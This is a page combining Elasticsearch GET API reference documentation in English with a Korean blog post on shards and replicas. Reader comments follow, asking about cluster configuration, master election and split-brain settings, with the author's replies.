The get API allows to get a typed JSON document from the index based on its id. The following example gets a JSON document from an index called twitter, under a type called tweet, with id valued 0:

GET twitter/tweet/

The result of the above get operation is:

{
    "_index" : "twitter",
    "_type" : "tweet",
    "_id" : "0",
    "_version" : 1,
    "found": true,
    "_source" : {
        "user" : "kimchy",
        "date" : "2009-11-15T14:12:12",
        "likes": 0,
        "message" : "trying out Elasticsearch"
    }
}

The above result includes the _index_type_id and _version of the document we wish to retrieve, including the actual _source of the document if it could be found (as indicated by the found field in the response).

The API also allows to check for the existence of a document using HEAD, for example:

HEAD twitter/tweet/0

Realtime

By default, the get API is realtime, and is not affected by the refresh rate of the index (when data will become visible for search). If a document has been updated but is not yet refreshed, the get API will issue a refresh call in-place to make the document visible. This will also make other documents changed since the last refresh visible. In order to disable realtime GET, one can set the realtime parameter to false.

Optional Type

The get API allows for _type to be optional. Set it to _all in order to fetch the first document matching the id across all types.

Source filtering

By default, the get operation returns the contents of the _source field unless you have used the stored_fields parameter or if the _source field is disabled. You can turn off _source retrieval by using the _source parameter:

GET twitter/tweet/0?_source=false

If you only need one or two fields from the complete _source, you can use the _source_include & _source_exclude parameters to include or filter out that parts you need. This can be especially helpful with large documents where partial retrieval can save on network overhead. Both parameters take a comma separated list of fields or wildcard expressions. Example:

GET twitter/tweet/0?_source_include=*.id&_source_exclude=entities

If you only want to specify includes, you can use a shorter notation:

GET twitter/tweet/0?_source=*.id,retweeted

Stored Fields

The get operation allows specifying a set of stored fields that will be returned by passing the stored_fields parameter. If the requested fields are not stored, they will be ignored. Consider for instance the following mapping:

PUT twitter
{
   "mappings": {
      "tweet": {
         "properties": {
            "counter": {
               "type": "integer",
               "store": false
            },
            "tags": {
               "type": "keyword",
               "store": true
            }
         }
      }
   }
}

Now we can add a document:

PUT twitter/tweet/1
{
    "counter" : 1,
    "tags" : ["red"]
}
  1. and try to retrieve it:
GET twitter/tweet/1?stored_fields=tags,counter

The result of the above get operation is:

{
   "_index": "twitter",
   "_type": "tweet",
   "_id": "1",
   "_version": 1,
   "found": true,
   "fields": {
      "tags": [
         "red"
      ]
   }
}

Field values fetched from the document it self are always returned as an array. Since the counter field is not stored the get request simply ignores it when trying to get the stored_fields.

It is also possible to retrieve metadata fields like _routing and _parent fields:

PUT twitter/tweet/2?routing=user1
{
    "counter" : 1,
    "tags" : ["white"]
}
GET twitter/tweet/2?routing=user1&stored_fields=tags,counter

The result of the above get operation is:

{
   "_index": "twitter",
   "_type": "tweet",
   "_id": "2",
   "_version": 1,
   "_routing": "user1",
   "found": true,
   "fields": {
      "tags": [
         "white"
      ]
   }
}

Also only leaf fields can be returned via the stored_field option. So object fields can’t be returned and such requests will fail.

Getting the _source directly

Use the /{index}/{type}/{id}/_source endpoint to get just the _source field of the document, without any additional content around it. For example:

GET twitter/tweet/1/_source

You can also use the same source filtering parameters to control which parts of the _source will be returned:

GET twitter/tweet/1/_source?_source_include=*.id&_source_exclude=entities'

Note, there is also a HEAD variant for the _source endpoint to efficiently test for document _source existence. An existing document will not have a _source if it is disabled in the mapping.

HEAD twitter/tweet/1/_source

Routing

When indexing using the ability to control the routing, in order to get a document, the routing value should also be provided. For example:

GET twitter/tweet/2?routing=user1

The above will get a tweet with id 2, but will be routed based on the user. Note, issuing a get without the correct routing, will cause the document not to be fetched.

Preference

Controls a preference of which shard replicas to execute the get request on. By default, the operation is randomized between the shard replicas.

The preference can be set to:

_primary
The operation will go and be executed only on the primary shards.
_local
The operation will prefer to be executed on a local allocated shard if possible.
Custom (string) value
A custom value will be used to guarantee that the same shards will be used for the same custom value. This can help with "jumping values" when hitting different shards in different refresh states. A sample value can be something like the web session id, or the user name.

Refresh

The refresh parameter can be set to true in order to refresh the relevant shard before the get operation and make it searchable. Setting it to trueshould be done after careful thought and verification that this does not cause a heavy load on the system (and slows down indexing).

Distributed

The get operation gets hashed into a specific shard id. It then gets redirected to one of the replicas within that shard id and returns the result. The replicas are the primary shard and its replicas within that shard id group. This means that the more replicas we will have, the better GET scaling we will have.

Versioning support

You can use the version parameter to retrieve the document only if its current version is equal to the specified one. This behavior is the same for all version types with the exception of version type FORCE which always retrieves the document. Note that FORCE version type is deprecated.

Internally, Elasticsearch has marked the old document as deleted and added an entirely new document. The old version of the document doesn’t disappear immediately, although you won’t be able to access it. Elasticsearch cleans up deleted documents in the background as you continue to index more data.


ELASTICSEARCH – 2. SHARD & REPLICA

Elasticsearch의 shard와 replica에 대해서 알아보기 전에, Elasticsearch에서의 노드 생성 및 동작원리에 대해서 간단히 알아보도록 하겠습니다.

사용자가 하나의 머신에서 Elasicsearch를 시작하게 되면, 하나의 Elasticsearch 노드가 생성되며, 이 노드는 동일한 네트워크 상에서 같은 클러스터명을 같는 클러스터가 존재하는 지를 찾게 됩니다 [Figure 1].  만약, 연결(join)될 수 있는 클러스터가 없다면 이 노드는 스스로 클러스터를 생성하게 되고, 만약 클러스터가 존재한다면 해당 클러스터에 연결됩니다. (Elasticsearch의 클러스터 구성 및 설정에 대해서는 추후에 포스팅 하도록 하겠습니다.)

Figure 1. 노드의 생성 및 동작원리

새로운 클러스터가 생성되었다면, 노드에는 아직 어떠한 인덱스도 존재하지 않는 상태이며, 새로운 인덱스를 생성할 때 인덱스를 몇 개의 shard로 나누어 저장할 것인지를 정의할 수 있습니다. Shard의 개수를 따로 지정하지 않는다면, Elasticsearch의 기본 shard 개수인 5개로 데이터가 나누어져 저장됩니다. 만약, 노드가 기존에 존재하던 클러스터에 연결되고 해당 클러스터에 이미 인덱스가 존재한다면 해당 인덱스 shard들은 추가된 노드에 균일하게 재분산 됩니다.

그렇다면 Shard란 무엇일까요?

Elasticsearch를 비롯한 많은 수의 분산 데이터베이스(분산 검색엔진)에서 shard란 일종의 파티션과 같은 의미이며, 데이터를 저장할 때 나누어진 하나의 조각에 대한 단위입니다. 여기에서 주의할 점은 각각의 shard는 데이터에 대한 복사본이 아니라, 데이터 그 자체라는 점입니다. shard가 노드에 저장되어 있는 상태에서 아래의 Figure 2.와 같이 하나의 노드가 추가 된다면, 기존에 존재하던 shards는 각 노드에 균일하게 재분산 됩니다. 이렇게 가장 먼저 1copy씩 존재하는 데이터 shard를 primary shard라고 합니다.

Figure 2. Shard relocating

그렇다면 이렇게 데이터를 나누어 shard 형태로 저장하는 이유는 무엇일까요?

Elasticsearch는 분산 데이터베이스(분산 검색엔진)이기 때문에, 이렇게 데이터를 나누어 저장하는 방식으로 대용량 데이터에 대한 분산처리를 가능하게 합니다. Primary shard는 각 인덱스 별로 최소 1개 이상 존재해야만 합니다. Shard가 많아지면 그만큼 데이터양의 증가에 대한 Elasticsearch 노드의 확장으로 대응이 가능하다는 장점이 있습니다. 하지만, shard 그 자체도 일종의 비용이라고 할 수 있기 때문에 데이터양의 증가 예측치를 이용하여 적절한 수의 shard를 결정하는 것이 중요합니다.

Elasticsearch에서 Replica는 무엇을 의미할까요?

Replica는 한 마디로 정의하자면 또 다른 형태의 shard라고 할 수 있습니다. Elasticsearch에서 replica의 기본값은 1입니다. 이 때, replica의 값이 1이라는 것은 primary shard가 1개라는 것을 의미하지 않고, primary shard와 동일한 복제본이 1개 있다는 것을 의미합니다. 즉, replica의 개수는 primary shard를 제외한 복제본의 개수 입니다.

Replica가 필요한 이유는 크게 두 가지인데, 그 중 첫 번째는 ‘검색성능(search performance)‘이고, 두 번째는 ‘장애복구(fail-over)‘입니다.

Replica shard는 아래와 같은 중요한 특징을 갖고 있습니다.

Replica shard는 절대로 동일한 데이터를 갖고 있는 primary shard와 같은 Elasticsearch 노드상에 존재할 수 없습니다.

아래의 Figure 3.을 예로 들어 설명하면, 첫 번째 노드의 0, 1, 2번 shard는 primary shard이고, 4, 5번 shard는 replica shard가 됩니다. 마찬가지로 두 번째 노드의 4, 5번 shard는 primary shard이고 1, 2, 3번 노드는 각각 replica shard입니다.

Figure 3. Primary shards & replica shards

이러한 상황에서 하나의 노드에 문제가 발생하게 된다고 하여도 나머지 노드에 모든 데이터 shrad들이 존재하기 때문에 정상적인 서비스가 가능하며, 문제가 없는 노드에 있던 replica shard가 자동적으로 primary shard가 됩니다. 여기에서 우리는 아래와 같은 계산식을 유추할 수 있습니다.

n개의 노드에서 장애가 발생하였을 때, 서비스가 정상적으로 동작하기 위해서는 최소 n+1개의 노드가 동일 클러스터내에 존재해야 하며, replica의 수는 최소 n개여야만 합니다.

다시 말하자면, 1개의 노드에서 장애가 발생하였을 때, 서비스가 정상적으로 동작하기 위해서는 최소 2개의 노드가 동일 클러스터내에 존재해야 하며, replica의 수는 최소 1개여야만 합니다.

또한, replica의 최대 개수는 전체 노드의 수 -1 입니다. 그러므로, 클러스터상의 노드에 문제가 발생하여 가용한 노드의 수가 replica의 수보다 같거나 작은경우 어떠한 노드에서 할당(assign)되지 못한 shard가 발생하게 되며, 이러한 경우 클러스터의 상태가 “YELLOW“가 됩니다. (정상적인 경우의 클러스터 상태는 “GREEN“)

만약, 문제가 발생하였던 노드가 다시 정상적으로 동작하게 되면 해당 노드는 클러스터상에 연결되고, 할당되지 못하고 남아있던 replica shard들이 해당 노드에 할당됩니다.

좀 더 알아보기

검색의 핵심 개념과 엘라스틱서치의 기본에 대해서 좀 더 자세히 알아보고자 한다면 제가 쓴 책 <스타트업 인 액션>을 참고하시기 바랍니다.

ABOUT THE AUTHOR

Passionate, responsible and committed engineer, with experiences of designing, implementing and adapting technically sophisticated online web applications.

PREVIOUS POSTELASTICSEARCH – 1. 시작하기

37 COMMENTS 

  1. 안녕하세요. 항상 글 잘 보고 있습니다 ^^;
    최근 엘라스틱서치에 대해 공부 중 인데, 몇 가지 여쭤보고 싶은게 있어서요.
    솔라 클라우드의 경우엔, 리더가 모든 일을 처리하고, 레플리카는 리더가 다운된 경우 선출되어 일을 하는 방식으로 분산을 지원한다는데, 엘라스틱 서치에서는 어떻게 되는지 궁금합니다 ㅜ_ㅜ. 분산 인덱싱과 분산 검색을 어떻게 지원해 주나요?
    1) 마스터노드 라는게 있던데, master-slave구조로 마스터가 인덱싱을 하고, 나머지 노드들은 마스터의 인덱스를 복사해서 검색만 하는건가요?
    2) 아니면 각각이 document를 받아서 인덱싱하고, 모두 검색을 해주는 방식인건지… 샤딩을 하는 거 보면..그럼 마스터 노드의 역할은 무엇인가요?
    3) 둘 다 아니면 어떤 방식인가요..?

    바쁘시겠지만 부디 답변 부탁드립니다. ㅠㅠ!

    • 안녕하세요.

      조금 늦었지만 말씀하신 내용에 대해서 답변을 달아드립니다. ^^

      1) 먼저, 마스터 노드는 해당 클러스터에 어떤 노드들이 연결되어 있고, 각 샤드들이 어떤 노드에 위치해 있는지에 대한 정보를 담고 있는 노드입니다. 하나의 인덱스는 (기본적으로) 여러개의 샤드들로 구성되어 있으며, 이 샤드들은 클러스터 상의 노드들에 골고루 분산되어 저장됩니다. 정리하자면, 엘라스틱서치에서 마스터-슬레이브는 클러스터와 이 클러스터에 연결된 노드들을 관리하기 위한 개념이며, 인덱싱과 검색에는 크게 영향을 미치는 개념이 아니라고 생각하시면 됩니다.

      2) 먼저, 엘라스틱서치에서 문서가 인덱싱되는 방식을 설명드리겠습니다. 문서에 대한 인덱싱 요청은 먼저 하나의 노드에 전송되는데요, 이 노드는 마스터노드일 수도 있고, 그렇지 않아도 무방합니다. 일반적으로 데이터를 저장하지 않고, 마스터 노드도 아닌 클라이언트 노드(node.master :false node.data:false) 를 두어서 운영하는 경우가 많습니다.
      인덱싱 요청을 받은 노드는 문서의 ID 값을 해싱하여 이 문서가 어느 샤드에 저장되어야 하는지를 결정합니다. 만약, 해당 인덱스를 구성하는 샤드의 개수가 5라면, ID의 해시 값은 다섯 개의 범위 중 하나에 포함되게 됩니다. 이런식으로 최초 인덱싱 요청을 받은 노드가 각 문서를 다른 노드(샤드)에 분산시키게 됩니다.

      검색의 경우 최초 요청을 받은 노드는 해당 검색 요청을 인덱스의 모든 샤드들에 전달하게 되며, 각 샤드들로 부터 받은 검색결과를 취합, 정렬 하여 애플리케이션에 반환합니다. 이 때 검색은 특정 샤드에 대하여 수행되는 것이 아니고, 전체 샤드에 모두 전달되는 것이기 때문에 요청을 받는 노드가 마스터 노드인지 아닌지는 의미가 없다고 보시면 됩니다.

      결론적으로 말씀드리자면, 엘라스틱서치에서 마스터 노드는 클러스터와 이를 구성하는 노드 정보를 담고있을 뿐, 검색과 인덱싱에 중요한 역할을 하는 것이 아니기 때문에 요청이 반드시 마스터 노드에 전달되어야 한다거나 하는 등의 제약사항은 없습니다.

      3) 위의 내용이 답을 포함하고 있는 것 같습니다.

      답변이 도움이 되셨다면 좋겠습니다. ^^

      • 그..럼 정말 죄송하지만 ㅠㅠ…제가 가상머신 2개를 띄워놓고, 클러스터에 각각의 노드를 연결을 해보고 싶은데, 자꾸 에러가 떠서요..클러스터에 노드를 연결했을 때, 샤드가 분할되는걸 보고 싶어서요 ㅠㅠ
        각각의 elasticsearch.yml 인데, 혹시 조언해주실 수 있으신가요?
        192.168.102.133:9200는 다음과 같고

        cluster.name: singer
        node.name: “idol1″
        node.master: true
        node.data: true
        discovery.zen.ping.multicast.enabled: false
        discovery.zen.ping.multicast.unicasy.hosts: [“192.168.203.133:9200″, “192.168.203.134:9200″]

        아래는 192.168.102.134:9200 입니다.

        cluster.name: singer
        node.name: “idol2″
        node.master: false
        node.data: true
        discovery.zen.ping.multicast.enabled: false
        discovery.zen.ping.multicast.unicasy.hosts: [“192.168.203.134:9200″,”192.168.203.133:9200″]

        • 안녕하세요. 출장을 다녀오느라 답변이 좀 늦었습니다. ^^
          가상머신에서 Elasticsearch 클러스터를 구성하려면 multicast discovery를 비활성화 시키고 unicast 방식을 이용하는 것이 맞습니다.
          그래서 입력하신 설정에는 문제가 없는 것 같습니다.

          그러나 설정 내용 중에 discovery.zen.ping.multicast.unicasy.hosts 가 아니라, discovery.zen.ping.unicast.hosts 가 맞는 값이라서 이 부분이 문제가 되었을 수 있을 것 같습니다.
          만약, 이렇게 바꾸어도 안된다면 호스트 목록의 포트들을 9200이 아닌 9300으로 한번 해보시기 바랍니다. unicast discovery는 tranport 모듈을 사용하기 때문입니다.

          그리고, 샤드가 분할 되는 것을 눈으로 직접 확인하실 때는 {elasticsearch home}/bin/plugin -install mobz/elasticsearch-head 명령어를 통해 head 플러그인을 설치하시고, 웹브라우저를 통해 http://master_node_ip:9200/_plugin/head/ 로 접속하시면 직관적으로 확인 하실 수 있습니다.

          마지막으로, public ip를 통해 외부에서 접근이 필요하신 경우에는 설정파일에서 network.publish_host 의 값을 해당 public ip로 입력해 주시면 됩니다.

          감사합니다. ^^

  2. unicasy는 제가 옮겨쓰는 도중 오타가 났었어요 ^^;;;

    계속 에러 검색하다가 보니 방화벽 문제였네요 ㅠ_ㅠㅋㅋ덕분에 4일을 삽질 ㅠㅠㅠ
    도와주셔서 정말정말 감사합니다! 앞으로도 좋은 게시글 부탁드립니다! 좋은하루 되세요!0!

  3. 안녕하세요 현재 ES사용중인 유저입니다.
    현재 클러스터 구성중인데 글을 읽다고 궁금한점이 있어 글을 남깁니다.
    많은 가이드라인에서 client node 즉(node.master :false node.data:false)를 앞에 두고 그뒤로 마스터노드와 데이터노드를 둬서 클라이언트 노드로 통신이 간후 다시 취합하여 사용하기를 권장하는데 여기서 장점은 노드에 많은 요청이안가 부하가 적게걸린다는점인데
    클라이언트에 많은요청이가면 이 노드에서는 부하가 안걸리는지가 궁금합니다.
    또한 클라이언트노드를 사용하지않고 즉 1개의 마스터노드와 2개의 데이터노드로 사용시 검색을 할때 어느 노드 아이피로 검색을 날려야하는지 궁금합니다. ES홈페이지에는 요청순서는 나와있는데 요청을 받아서 모든 shard에게 요청을 전달하여 결과를 다시 취합하여 사용자에게 전달이라고 나와있는데 이때 요청을 받은 노드로 통신을 한다는 뜻이 특정 노드로만 요청을 해야하는건가요? 아님 클러스터로 구성되어 있어서 클러스터 내 모든 노드들한테 요청이 가는지 궁금합니다.
    마지막으로 클라이언트 노드 사용시 요청순서가 궁금합니다.
    클라이언트 노드에서 request를 받으면 연결된 모든 노드안의 shard에게 전달하는 방식인가요?

    • 안녕하세요. ^^
      질문 감사드립니다.

      먼저, 엘라스틱서치에서는 특별한 경우를 제외하고는 검색 요청이 인덱스를 구성하고 있는 모든 샤드들에 전달되고 각 샤드들로부터 받은 결과를 최초 요청을 받은 노드가 취합 및 정렬등의 작업을 수행한 뒤 최종 결과를 애플리케이션에 전달하게 됩니다. 여기에서 특별한 경우란 커스텀 라우팅을 이용하여 조회(retrieve)하고자 하는 샤드를 지정하는 경우입니다.
      만약, 클라이언트 노드를 따로 두지 않는다면 요청을 받은 노드는 자신이 가지고 있는 샤드에 대하여 검색을 수행함은 물론, 다른 샤드들로 부터 받은 결과를 취합하여 반환하는 작업을 수행해야 하기 때문에 혼자서 너무 많은 작업을 수행하게 됩니다.
      이러한 이유로, 가지고 있는 샤드에 대하여 검색을 수행하는 데이터 노드와, 검색은 수행하지 않고 요청을 전달하고 결과를 취합하는 역할만 하는 클라이언트 노드를 별도로 두는 것입니다.
      물론, 많은 요청이 발생하면 클라이언트 노드에 부하가 집중되겠지만, 이것은 클라이언트 노드를 두지 않는 방법으로 해결하는 것이 아니라, 여러대의 클라이언트 노드를 두고 그 앞에 로드밸런싱을 수행하는 노드를 구성하는 것이 바람직합니다.

      마지막으로, 클라이언트를 두지 않고, 1개의 마스터 노드와 2개의 데이터노드를 운용한다고 하시면 어떤 노드에 요청을 보내시더라도 성능은 동일하게 되며, 다만, 특정 노드에 요청이 집중되지 않도록 관리해주시면 될 것 같습니다.

      만족스러운 답변이 되었는지 잘 모르겠습니다만, 혹시 또 궁금하신 내용이 있으시면 언제든지 댓글 달아주시면 감사하겠습니다. ^^

      • 답변 감사합니다.
        한가지 질문이 더 있는데요
        ES에서 split brain문제에 대해서 minimum_master_nodes를 n/2+1개로 지정하라고 하는데
        제가 현재 총 3개의 노드로 클러스터를 구성할려고하는데 하나는 클라이언트 노드(master:false,data:false) ,데이터 노드(master:false,data:true), 마스터노드(master:true,data:false)로 구성할려고하는데 이경우 최소 마스터노드갯수를 2로 지정하면 문제가 생기는거같습니다. 마스터노드는 하나고 만약을 마스터노드가 죽으면 누가 마스터노드를 살리는 역할을 하나요?
        설정은 다음과 같습니다.
        master
        cluster.name: elasticsearch
        node.name: node_data
        node.master: true
        node.data: false
        index.number_of_shards: 5
        index.number_of_replicas: 1
        network.host:마스터노드아이피
        transport.tcp.port: 9300
        transport.tcp.compress: true
        http.enabled: false
        discovery.zen.ping.multicast.enabled: false
        discovery.zen.minimum_master_nodes: 2
        discovery.zen.ping.timeout: 3s
        discovery.zen.ping.unicast.hosts: [“마스터노드아이피:9300″, “데이터노드아이피:9300″,”클라이언트노드아이피:9300″]
        action.auto_create_index: true
        action.disable_shutdown: true
        disable_delete_all_indices: true
        index.mapper.dynamic: true

        data
        cluster.name: elasticsearch
        node.name: node_data
        node.master: false
        node.data: true
        index.number_of_shards: 5
        index.number_of_replicas: 1
        network.host: 데이터노드아이피
        transport.tcp.port: 9300
        transport.tcp.compress: true
        http.enabled: false
        discovery.zen.ping.multicast.enabled: false
        discovery.zen.minimum_master_nodes: 2
        discovery.zen.ping.timeout: 3s
        discovery.zen.ping.unicast.hosts: [“마스터노드아이피:9300″, “데이터노드아이피:9300″,”클라이언트노드아이피:9300″]
        action.auto_create_index: true
        action.disable_shutdown: true
        disable_delete_all_indices: true
        index.mapper.dynamic: true

        client
        cluster.name: elasticsearch
        node.name: node_data
        node.master: false
        node.data: true
        index.number_of_shards: 5
        index.number_of_replicas: 1
        network.host: 데이터노드아이피
        transport.tcp.port: 9300
        transport.tcp.compress: true
        http.port: 9200
        discovery.zen.ping.multicast.enabled: false
        discovery.zen.minimum_master_nodes: 2
        discovery.zen.ping.timeout: 3s
        discovery.zen.ping.unicast.hosts: [“마스터노드아이피:9300″, “데이터노드아이피:9300″,”클라이언트노드아이피:9300″]
        action.auto_create_index: true
        action.disable_shutdown: true
        disable_delete_all_indices: true
        index.mapper.dynamic: true

        위설정으로 실행을하면 마스터노드와 데이터노드는 실행되지만 클라이언트노드 실행시
        waited for 30s and no initial state was set by the discovery
        이와같은 문제가 발생합니다.

      • 다시 실행해보니 실행이되지만 마스터노드를 셧다운 시키면 마스터노드가 없어지기때문에 데이터노드가 아무역할을 할수가 없는거같습니다. 데이터 노드쪽에 master :true로 해놓아야하나요?

        • 안녕하세요. JU님.

          먼저, 간단히 몇 가지를 설명드리면 좋을 것 같습니다.

          1. node.master: true 설정은 해당 노드를 마스터 노드로 선택하겠다는 의미라기 보다, 해당 노드가 마스터 노드가 “될 수도 있게 한다”라는 의미 입니다. 그렇기 때문에 마스터 노드를 한 대와 데이터 노드 한 대를 운영하시기 위해서 하나의 노드는 node.master: true, 다른 하나의 노드는 node.master: false로 지정하실 필요가 없습니다. 다시 말해서 클라이언트 노드를 제외한 두 개의 노드 모두 node.master: true, node.data: true로 설정하시면 클러스터의 master election 과정을 통해 자동으로 하나는 마스터 노드가 되고 다른 하나는 데이터 노드가 됩니다. 이 때, 마스터 노드에 장애가 발생하면 데이터 노드로 사용되던 노드가 마스터가 사라졌음을 인식하고 자신이 마스터로 선출될 수 있는 기회를 얻게 되는 것입니다.

          2. Split brain 이슈를 막기 위해서 discovery.zen.minimum_master_nodes 설정의 값을 (N/2)+1 로 권장한다고 할 때, N은 정확히 말하자면 “클러스터를 구성하는 총 노드의 개수”가 아니고, “클러스터를 구성하는 노드들 중, 마스터로 선출될 수 있는(node.master: true) 노드의 개수” 입니다. 즉, 현재 JU님께서 말씀하신 구성(클라이언트노드 1, 마스터가능 노드1, 마스터불가능 노드1)이라고 하면 N 값은 1이 됩니다.

          결론적으로 말씀드리자면, 클라이언트 노드의 설정은 그대로 두시고, 나머지 두 개의 노드 설정을 node.master: true, node.data: true로 동일하게 하신 뒤에, 두 노드 중에 어떤 노드를 마스터로 사용할지는 엘라스티서치 자체의 마스터 election 에 맡기셔야 합니다. 인덱싱이나 검색 요청은 어떤 노드가 마스터로 선출되었는지와 상관없이 클라이언트 노드에 요청하시면 되고요. ^^

          이렇게 설정을 변경하신 뒤에 discovery.zen.minimum_master_nodes 설정 값을 (2/2)+1 = 2로 설정하시면 마스터 노드를 선정하기 위해 최소 두 개의 노드가 서로 communication 해야 하기 때문에 두 노드간의 통신이 단절되었을 때 마스터 노드가 두 개 선정되는 split brain 문제를 막을 수 있습니다. 다만, 말씀하신 경우에 하나의 마스터 노드에 장애가 발생하면 다른 노드가 discovery.zen.minimum_master_nodes 제한에 따라 마스터로 선정될 수 없기 때문에 전체 클러스터가 사용 불가능 상태가 될 수 있습니다. 이러한 이유로 node.master: true 노드가 두 개일 때에는 발생가능성이 적은 split brain 문제 때문에 minimum_master_nodes 값을 2로 설정하는 것 보다, 가용성을 보장하기 위해서 1로 설정하는 것이 더 좋지 않을까 하는 개인적인 생각입니다. 이 부분에 대해서는 제가 정확히 확신할 수 없어서 다른 내용들을 좀 더 참고해 보시는 것이 좋을 것 같습니다.

          감사합니다. ^^

  4. 답변감사합니다.
    마스터 1 데이터 1 클라이언트1 이렇게 구성하고 discovery.zen.minimum_master_node를 2로 설정하였을 경우 위에서 말씀하신것처럼 마스터 노드에 장애가 발생시 최소 2개의 노드가 통신해야한다는 설정을 위와같이 했기때문에 데이터노드 하나만 남아서 문제가 split brain은 피할수 있지만 남아있는 데이터 노드가 마스터노드로 선정될수없어서 클러스터전체에 장애가 생긴다고 말씀하셨는데 그럼 구성을 마스터1 데이터2 클라이언트1로 구성하고 discovery.zen.minimum_master_node를 2설정시 이문제를 해결할수있겠네요?

    클라이언트노드를 웹어플리케이션 서버에 붙임 클라이언트 노드를 위해 서버를안만들어도 되어서 가용한 서버가 하나 늘어서 그렇게 구성하면 되지 않을까 싶은데요 제가 이해한게 맞나요?

    • 네. 마스터로 선출될 수 있는 노드(master eligible)가 3개라면 discovery.zen.minimum_master_node 값이 2로 설정되어 있어도 하나의 노드에 장애가 발생하여도 다른 노드가 마스터로 재선출 될 수 있습니다.

      클라이언트 노드를 WAS 와 같은 서버에서 운영하시면 하나의 서버가 남기는 하지만 WAS 자체 성능의 저하를 유발하지는 않을지 잘 고민하셔야 할 것 같습니다. 여기에 대해서는 애플리케이션의 트래픽이 어느정도고 동시접속이 어느정도인지 등이 영향을 미치기 때문에 정답은 없고 상황에 맞게 설정하셔야 할 것 같습니다.

      그러나 개인적으로는 총 세대의 노드를 하나의 클라이언트노드(node.master:false, node.data:false) 와 두 개의 데이터 노드(node.master:true, node.data:true) 로 사용하시고, discovery.zen.minimum_master_node 값을 1로 설정하시는 편이 좋지 않을까 생각됩니다. split brain 문제는 마스터 노드가 실제로 장애가 없음에도 불구하고 다른 노드와 통신이 불가능하여 발생하기 때문에 그렇게 흔하게 발생하는 케이스는 아니기 때문입니다.

      물론, 정답은 없기 때문에 운영해보시면서 최적의 설정을 찾아나가시면 좋을 것 같습니다. ^^

      참고로, 클러스터 설정시에 성능 등을 최적화하는 몇 가지 팁을 아래의 링크에서 참고해 보시는 것도 좋을 것 같습니다.
      https://www.loggly.com/blog/nine-tips-configuring-elasticsearch-for-high-performance/

  5. 안녕하세요

    좋은 정보 공유로 인해 많은 도움을 받고 있습니다.

    한가지 궁금한게 있어 문의 드리는데요….

    제가 이번에 클러스터를 두개의 데이터 노드로 구성하여 검색 성능 측정을 하려다 보니…(replica :1, shards :5 로 셋팅)

    primary shard에 대해 궁금점이 생겨서요.

    1. 저는 처음에 primary shard가 실제로 검색시 검색 결과를 반환하는 shard로 알고 있었는데 그게 맞는지? 아니라면
    실제로 primary shard의 정확한 동작 및 의미는 무엇인가요?

    2. 두대의 데이터 노드 중 1대의 데이터 노드를 먼저 start한 후 나머지 1대의 데이터 노드를 start하면 replica는 각각 1개씩 분배되어
    각 노드당 5개의 shard를 가지게 되는데 primary shard는 먼저 start한 노드에만 구성이 되어 있습니다. 이렇게 되면 노드를 2개를
    띄워도 성능 향상에 도움이 되지 않는게 아닌가요?(1번 질문의 첫번째 답이 Yes인 경우로 생각 했습니다.)

    3. primary shard와 master node와는 전혀 관계가 없는 것이 맞는가요? 즉 master node는 실제 검색 시 어떤 노드로 검색 요청을 보내는 지에 대한 meta 정보를 가지고 있을 뿐이고 primary shard는 ….(잘모르겠네요 이게 어떤 역활인지)

    조금 두서없이 질문드린것 같아 죄송합니다.ㅠ.ㅠ 답변 부탁드릴게요

    • 안녕하세요. ^^ 댓글 남겨주셔서 감사합니다. ^^

      1. 먼저, primary shard 뿐만 아니라, replica shard 도 검색시에 결과를 반환하는 shard 입니다. primary shard 와 replica shard 는 검색시에는 동일하게 동작합니다. ^^ 하지만 indexing 시에는 replica shard 보다 primary shard 가 먼저 인덱싱되는 차이점이 있습니다. http://www.slideshare.net/hosangjeon10/introduction-to-elasticsearch-42781557 이 링크에서 24번째 슬라이드를 보시면 조금 더 잘 이해가 되실 것 같습니다. ^^

      2. 말씀하신대로 1번 질문의 답이 No 이기 때문에 성능향상에 도움이 되는 것이 맞습니다. ^^ 첫번째 노드에 primary shard 가 모두 배치된 뒤 replica shard 들이 unassigned 상태에서 두 번째 노드가 start 되면서 배치되었다면 한쪽 노드에 primary shard 가 몰려있어서 어떤 룰이 있는 것처럼 느껴지실 수는 있지만, 노드를 하나 더 띄워보시면 primary shard 와 replica shard 는 서로 구분없이 뒤 섞여 있다는 것을 확인하실 수 있습니다. 다만, 하나의 primary shard 와 이 shard 의 replica shard (즉, 동일한 데이터를 가지고 있는) 는 절대로 같은 노드에 위치할 수 없습니다. ^^

      3. Primary shard 와 master node 는 전혀 관계가 없다고 말씀드릴 수 있습니다. Primary shard 는 마스터 노드에 위치할 수도 있고, 그렇지 않을 수도 있습니다. 마스터 노드가 가지고 있는 메타정보는 검색시 보다는 오히려 인덱싱 과정에서 (또는 retreieve 과정) 문서의 id 값을 기준으로 해당 id 를 갖는 문서가 어떤 샤드에 인덱싱 되어야 하는지 (또는 해당 샤드가 어디에 있는지) 를 결정하는 역할을 합니다. 검색시에는 아무리 마스터 노드라고 해당 검색 결과가 어떤 노드에, 또는 어떤 샤드에 있는지 알 수가 없습니다. ^^

      저도 좀 두서없이 답을 달아서… 도움이 되셨는지 잘 모르겠습니다. ^^

      • 아 정말 많은 도움이 됬습니다.

        shard와 replica와 관련해 한가지 질문이 더 있는데요.

        제가 알기로 shard와 replica는 cluster구성 후 최초 index수행 후에는 변경이 불가능한 것으로 알고 있습니다.

        1. 만약 shard : 5 , replica : 1로 설정되어 있는 cluster에 shard: 2, replica : 1과 같이 설정이 다른 새 노드가 동일한 cluster명으로 접근하게 된다면 어떤 현상이 발생하게 될나요? 실제로 수행하여 보니 별다른 문제 없이 replica가 새 노드에 재분할된 것처럼 보입니다.

        2. 만약 cluster구성 후 elasticsearch로 서비스를 하다 불가피한 이유(막대한 양의 데이터 유입으로 인한 shard 증가 필요)로 이해 shard와 replica에 대한 cluster 설정을 변경해야 한다면 어떤 방법이 있을까요? 전체 full 색인으로 신규 index를 만드는 방법밖에는 없을까요?

        답변 부탁드리겠습니다.

      • 넵~

        먼저, 1번에 대해서 간단히 설명을 드리도록 하겠습니다. ^^

        먼저, shard 와 replica 의 개수는 클러스터의 기본값이 존재하기는 하지만 기본적으로 인덱스별로 각각 개별적인 값을 갖는다고 생각하시면 됩니다. 즉, A 라는 인덱스가 shard 5 개 replica 1로 구성되어 있다면, 그 이후에 노드가 추가되는 것은 해당 인덱스의 설정값에 전혀 영향을 주지 않습니다. 그리고 추가로… shard 의 개수는 한번 정해지면 인덱스를 다시 생성하지 않는 이상 변경이 불가능하지만, replica 의 개수는 실행시점에서도 언제든지 변경할 수 있습니다.

